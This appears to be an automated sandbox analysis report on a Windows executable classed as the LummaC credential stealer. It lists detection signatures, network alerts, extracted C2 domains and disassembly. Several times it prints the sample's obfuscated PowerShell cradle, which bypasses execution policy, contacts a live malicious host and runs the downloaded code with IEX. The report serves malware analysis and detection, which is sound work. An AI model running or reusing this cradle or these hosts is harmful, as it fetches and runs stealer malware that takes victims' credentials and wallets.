Edit tour

Windows Analysis Report
Set-UpFile_v25.exe

Overview

General Information

Sample name:	Set-UpFile_v25.exe
Analysis ID:	1585343
MD5:	2f33775c502e7b2d60b9bfe944b46863
SHA1:	57d023419ecbe81d27368757fea4366de68891ea
SHA256:	fce2d6446420934b428053edf66b7cc5838717fbf67911c11145424ebd0a045b
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Set-UpFile_v25.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\Set-UpFile_v25.exe" MD5: 2F33775C502E7B2D60B9BFE944B46863)

powershell.exe (PID: 7596 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["cloudewahsj.shop", "tirepublicerj.shop", "wholersorie.shop", "rabidcowse.shop", "abruptyopsn.shop", "beattalkerz.cyou", "framekgirus.shop", "noisycuttej.shop", "nearycrepso.shop"], "Build id": "hRjzG3--ZINA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x5151f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: Set-UpFile_v25.exe PID: 7272	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Set-UpFile_v25.exe PID: 7272	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-UpFile_v25.exe PID: 7272	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-UpFile_v25.exe", ParentImage: C:\Users\user\Desktop\Set-UpFile_v25.exe, ParentProcessId: 7272, ParentProcessName: Set-UpFile_v25.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-UpFile_v25.exe", ParentImage: C:\Users\user\Desktop\Set-UpFile_v25.exe, ParentProcessId: 7272, ParentProcessName: Set-UpFile_v25.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-UpFile_v25.exe", ParentImage: C:\Users\user\Desktop\Set-UpFile_v25.exe, ParentProcessId: 7272, ParentProcessName: Set-UpFile_v25.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-UpFile_v25.exe", ParentImage: C:\Users\user\Desktop\Set-UpFile_v25.exe, ParentProcessId: 7272, ParentProcessName: Set-UpFile_v25.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-UpFile_v25.exe", ParentImage: C:\Users\user\Desktop\Set-UpFile_v25.exe, ParentProcessId: 7272, ParentProcessName: Set-UpFile_v25.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7596, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:11.659198+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	104.21.25.52	443	TCP
2025-01-07T14:37:12.609952+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	104.21.25.52	443	TCP
2025-01-07T14:37:13.913865+0100	2028371	3	Unknown Traffic	192.168.2.4	49750	104.21.25.52	443	TCP
2025-01-07T14:37:15.152429+0100	2028371	3	Unknown Traffic	192.168.2.4	49751	104.21.25.52	443	TCP
2025-01-07T14:37:16.395868+0100	2028371	3	Unknown Traffic	192.168.2.4	49752	104.21.25.52	443	TCP
2025-01-07T14:37:22.773652+0100	2028371	3	Unknown Traffic	192.168.2.4	49754	104.21.25.52	443	TCP
2025-01-07T14:37:24.415568+0100	2028371	3	Unknown Traffic	192.168.2.4	49755	104.21.25.52	443	TCP
2025-01-07T14:37:26.047768+0100	2028371	3	Unknown Traffic	192.168.2.4	49756	104.21.25.52	443	TCP
2025-01-07T14:37:28.145395+0100	2028371	3	Unknown Traffic	192.168.2.4	49757	104.21.25.52	443	TCP
2025-01-07T14:37:29.414835+0100	2028371	3	Unknown Traffic	192.168.2.4	49758	185.161.251.21	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:12.141741+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	104.21.25.52	443	TCP
2025-01-07T14:37:13.061485+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49749	104.21.25.52	443	TCP
2025-01-07T14:37:28.640242+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49757	104.21.25.52	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:12.141741+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49748	104.21.25.52	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:13.061485+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49749	104.21.25.52	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:24.859758+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49755	104.21.25.52	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:37:26.052786+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49756	104.21.25.52	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://klipvumisui.shop/int_clp_sha.txt%	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txtf1R=	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop:443/int_clp_sha.txt	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txtcoded	Avira URL Cloud: Label: malware
Source: https://dfgh.online/invoker.php?compName=user-PCx	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txt.3	Avira URL Cloud: Label: malware

Found malware configuration

Source: Set-UpFile_v25.exe.7272.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["cloudewahsj.shop", "tirepublicerj.shop", "wholersorie.shop", "rabidcowse.shop", "abruptyopsn.shop", "beattalkerz.cyou", "framekgirus.shop", "noisycuttej.shop", "nearycrepso.shop"], "Build id": "hRjzG3--ZINA"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.7% probability

Source: Set-UpFile_v25.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.52:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49758 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb= source: powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1981135607.0000000006D0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1981556253.0000000006D85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbl source: powershell.exe, 00000004.00000002.1981556253.0000000006D85000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_029AA1F9
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_029AB28E
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_029AA282
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then push ebx	0_2_029BE2C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp esi, edx	0_2_029BE2C2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	0_2_02983A12
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0299A202
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then jmp ecx	0_2_0299038C
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_029AFBD2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	0_2_0298DBD2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_0299A3E3
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0150E4D7h]	0_2_0299A3E3
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_029963E2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov edi, eax	0_2_0298AB12
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ecx, eax	0_2_0298AB12
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0299CB12
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_029C4362
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_029968A7
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-68B18956h]	0_2_0298C8E2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov dword ptr [ebp-28h], eax	0_2_029AD811
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+edx+4F334F6Fh]	0_2_029AD811
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4ADCAC34h]	0_2_0298C035
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_029A4852
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp ah, 0000002Eh	0_2_029AB041
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000298h]	0_2_02997070
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_029A11F2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 53585096h	0_2_029969E8
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ebp, dword ptr [esp+04h]	0_2_029969E8
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 0E4A4AE9h	0_2_029901EA
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx-53h]	0_2_0298CE9F
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000BBh]	0_2_0298E6BD
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then test esi, esi	0_2_029BE6B2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov dword ptr [esp], eax	0_2_0299EEB2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov eax, ecx	0_2_0299D6A3
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0299D6A3
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+000001DFh]	0_2_02997ED9
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_029AE612
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+01h]	0_2_029A1622
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_029ACE22
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov dword ptr [edi], F073F2F5h	0_2_0298CE43
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ecx, eax	0_2_029C3672
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	0_2_029A0F82
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_02988F82
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_02988F82
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-3EEFCD92h]	0_2_029C1702
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	0_2_029C0F02
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_02998744
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_02998744
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov ecx, eax	0_2_0299C4EB
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0299B442
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_0299ADBD
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0150E4D7h]	0_2_0299ADBD
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then jmp eax	0_2_0298C5A2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then mov word ptr [esi], ax	0_2_0299E5A2
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx-28C59510h]	0_2_0299DDE9
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 4x nop then jmp dword ptr [00448888h]	0_2_02999DE8
